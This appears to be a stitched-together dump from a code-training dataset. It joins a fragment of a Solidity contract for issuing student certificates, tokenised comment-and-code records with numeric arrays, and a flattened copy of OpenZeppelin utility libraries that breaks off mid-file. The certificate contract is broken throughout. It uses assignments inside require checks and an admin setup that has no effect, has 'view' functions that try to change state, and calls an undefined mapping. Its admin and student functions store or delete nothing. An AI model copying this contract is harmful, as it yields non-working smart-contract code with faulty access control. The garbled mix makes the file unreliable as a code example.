certRemoved(string _msg,address _participantAddress,string _msg2,string at,uint time); event certVerified(string msg,address addressVerified,string _msg); //MODIFIERS modifier onlyOwner(){ require(msg.sender == owner, "Accessible only by the owner"); _; } modifier onlyNewOwner(){ require(msg.sender == newOwner, "Accessible only by the new owner"); _; } modifier onlyAdmins(){ require(admins[msg.sender],"Accessible by only Admins"); _; } modifier onlyNonOwnerAdmins(){ require(admins[owner] == false && admins[newOwner] == false,"Accessible only by Admins that are not owners"); _; } modifier onlyPermissibleAdminLimit(){ require(adminIndex == maxAdminIndex,"The admin limit has been reached"); _; } modifier onlyNonExistentStudents(string memory _email){ Student memory _student; _student.email = _email; require(_student.active = false,"Student already exist"); _; } modifier onlyValidStudents(string memory _email){ Student memory _student; _student.email = _email; require(_student.active = false,"Student already exist"); _; } //CONSTRUCTOR constructor() public{ maxAdminIndex = 2; owner = msg.sender; admins[owner] == true; grade = grades.noGrade; assignment = assignmentStatus.inactive; //addAdmin(); } //FUNCTIONS //transfer ownership of the contract to a given address function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } //relinquish ownership of the contract function renounceOwnership() public onlyOwner returns(bool) { ownershipEnabled = false; return ownershipEnabled; } //Allows owner to add an admin function addAdmin(address _newAdmin) public onlyOwner{ require(adminIndex <= maxAdminIndex,"Maximum number of admins reached"); Admin memory _adminStruct; _adminStruct = adminReverseMapping[_newAdmin] ; adminIndex += 1; emit AdminAdded(_newAdmin,adminIndex); } //Allows new owner to add an admin function _addAdmin(address _newAdmin) public onlyNewOwner{ require(adminIndex <= maxAdminIndex,"Maximum number of admins reached"); Admin memory _adminStruct; _adminStruct = adminReverseMapping[_newAdmin]; adminIndex += 1; emit AdminAdded(_newAdmin,adminIndex); } //Allow the owner to remove an Admin function removeAdmin(address _adminAddress) public onlyOwner{ delete admins[_adminAddress]; adminIndex -= 1; emit AdminRemoved( _adminAddress,adminIndex); } //Allow the current owner to remove an Admin function _removeAdmin(address _adminAddress) public onlyNewOwner{ delete admins[_adminAddress]; adminIndex -= 1; emit AdminRemoved( _adminAddress,adminIndex); } //Allow an admin to add a student function addStudent(string memory _email, bytes32 _firstName,bytes32 _lastName, bytes32 _commendation) public onlyAdmins{ Student memory _student; _student.email = _email; _student.firstName = _firstName; _student.lastName = _lastName; _student.commendation =_commendation; _student.grade = grade; _student.assignment = assignment; _student.active = false; studentIndex +=1; assignmentIndex = 0; emit StudentAdded("New student added",_email, _firstName, _lastName, _commendation); } //Allows Admin to update the information of a student function updateStudentInfo(address __studentAddress,string memory __email,bytes32 __firstName,bytes32 ___lastName, bytes32 __commendation,assignmentStatus __assignments,grades __grade, bool __active) public onlyAdmins { students[__studentAddress] = Student({ email: __email, firstName : __firstName, lastName : ___lastName, commendation:__commendation, assignment: __assignments, grade: __grade, active: __active = true }); studentList.push(__email); } //Allows Admins to disable a student function removeStudent(string memory _email)public onlyAdmins{ Student memory _student; _student.email = _email; delete _email; studentIndex -= 1; emit StudentRemoved("A student has just been disable",_email,studentIndex); } //Allows Admin to create certificates function createCertificate(address __studentAddress, string memory __email, bytes32 __firstName, bytes32 __lastName, bytes32 __commendaton, grades __grade, assignmentStatus __assignment, uint __assignmentIndex) public onlyAdmins { certificates[__studentAddress] = Certificate({ studentAddress: __studentAddress, email: __email, firstName : __firstName, lastName : __lastName, commendation: __commendaton, grade: __grade, assignment: __assignment, assignmentIndex : __assignmentIndex }); certificateList.push(__email); emit certCreated("A new certificate has been created for:",__firstName,"with address:",__studentAddress,"by:",msg.sender); } //Allows admin to remove a certificate. function removeCertificate(address __participantAddress) onlyAdmins public{ delete certificates[__participantAddress]; emit certRemoved("A certificate belonging to:",__participantAddress,"has been deleted","at",now); } // function changeStudentName(address _studentAddress,bytes32 ___firstName,bytes32 ___lastName) onlyAdmins public view{ Student memory _student = students[_studentAddress]; _student.firstName = ___firstName; _student.lastName = ___lastName; } function changeStudentCommendation(address _studentAddress,bytes32 _commendation) public view{ Student memory _student = students[_studentAddress]; _student.commendation = _commendation ; } function changeStudentGrade( string memory _email,grades _grade) onlyAdmins public view{ Student memory _student; _student.email = _email; _student.grade = _grade; } function _calcAndFetchAssignmentIndex(uint16 _assignmentIndex, bool isFinalProject, Student memory) public view returns(uint16 index){ if(isFinalProject == true){ require(_assignmentIndex < assignmentList.length); Student storage student = student[_assignmentIndex]; return(_assignmentIndex); }else{ Student storage student = student[_assignmentIndex]; return _assignmentIndex++; } } function addAssignment(uint _assignmentIndex, string memory _email, string memory link, assignmentStatus status, bool _isFinalProject) public onlyAdmins returns(uint){ Student memory _studentStruct; Assignment memory _assignmentStruct; _assignmentIndex = studentsReverseMapping[_email]; _studentStruct = student[assignmentIndex]; _calcAndFetchAssignmentIndex(assignmentIndex, _isFinalProject, _studentStruct); _assignmentStruct = Assignment({link: link, status: status}); emit AssignmentAdded(_email, link, status, assignmentIndex); } function updateAssignmentStatus(uint _assignmentIndex, string memory _email, assignmentStatus _newStatus, bool _isFinalProject) public onlyAdmins{ Student memory _studentStruct; Assignment memory _assignmentStruct; _assignmentIndex = studentsReverseMapping[_email]; _studentStruct = student[assignmentIndex]; _calcAndFetchAssignmentIndex(assignmentIndex, _isFinalProject, _studentStruct); _assignmentStruct.status = _newStatus; emit AssignmentUpdated(_email, _assignmentIndex, _newStatus); } function getAssignmentInfo(string memory _email, uint _index) public view returns(string memory link, assignmentStatus status){ Student memory _studentStruct; _index = studentsReverseMapping[_email]; _studentStruct = student[_index]; require(_index >= 0 && _index <= 20, "Assignments below the required limit"); return(link, status); } function donateETH(uint256 amount) payable public { amount = 0; require(msg.sender != address(0), "Invalid address"); require(msg.value > amount); } function withdrawETH() public onlyOwner { msg.sender.transfer(address(this).balance); } //Get student grade function getGrade(string memory _email) public view returns (grades) { Student memory _student; _student.email = _email; return grade; } function verifyCertByAddress (address _studentAddress) public returns (bool){ uint i = 0; while ( i < certificateList.length){ Certificate memory cert; require(cert.studentAddress == _studentAddress,"Sorry,this address does not belong to a student"); certificateExist = true; i++; } emit certVerified("Student with address:",_studentAddress,"is a graduate of the one million ethereum developers"); return certificateExist; } }
Arrays of certificates,admins,students,and assignments
string[] certificateList;
12,615,008
[ 1, 12726, 434, 12522, 16, 3666, 87, 16, 16120, 4877, 16, 464, 13610, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 202, 1080, 8526, 4944, 682, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0x4609D496ddAc31a39635169fC48F2fc4967593A9/sources/Character.sol
0 -> however many get created
mapping(uint256 => CharData) public _tokenDetails;
845,438
[ 1, 20, 317, 14025, 4906, 336, 2522, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2874, 12, 11890, 5034, 516, 3703, 751, 13, 1071, 389, 2316, 3790, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ /** *Submitted for verification at Etherscan.io on 2022-03-13 */ /** *Submitted for verification at Etherscan.io on 2022-03-03 */ // SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 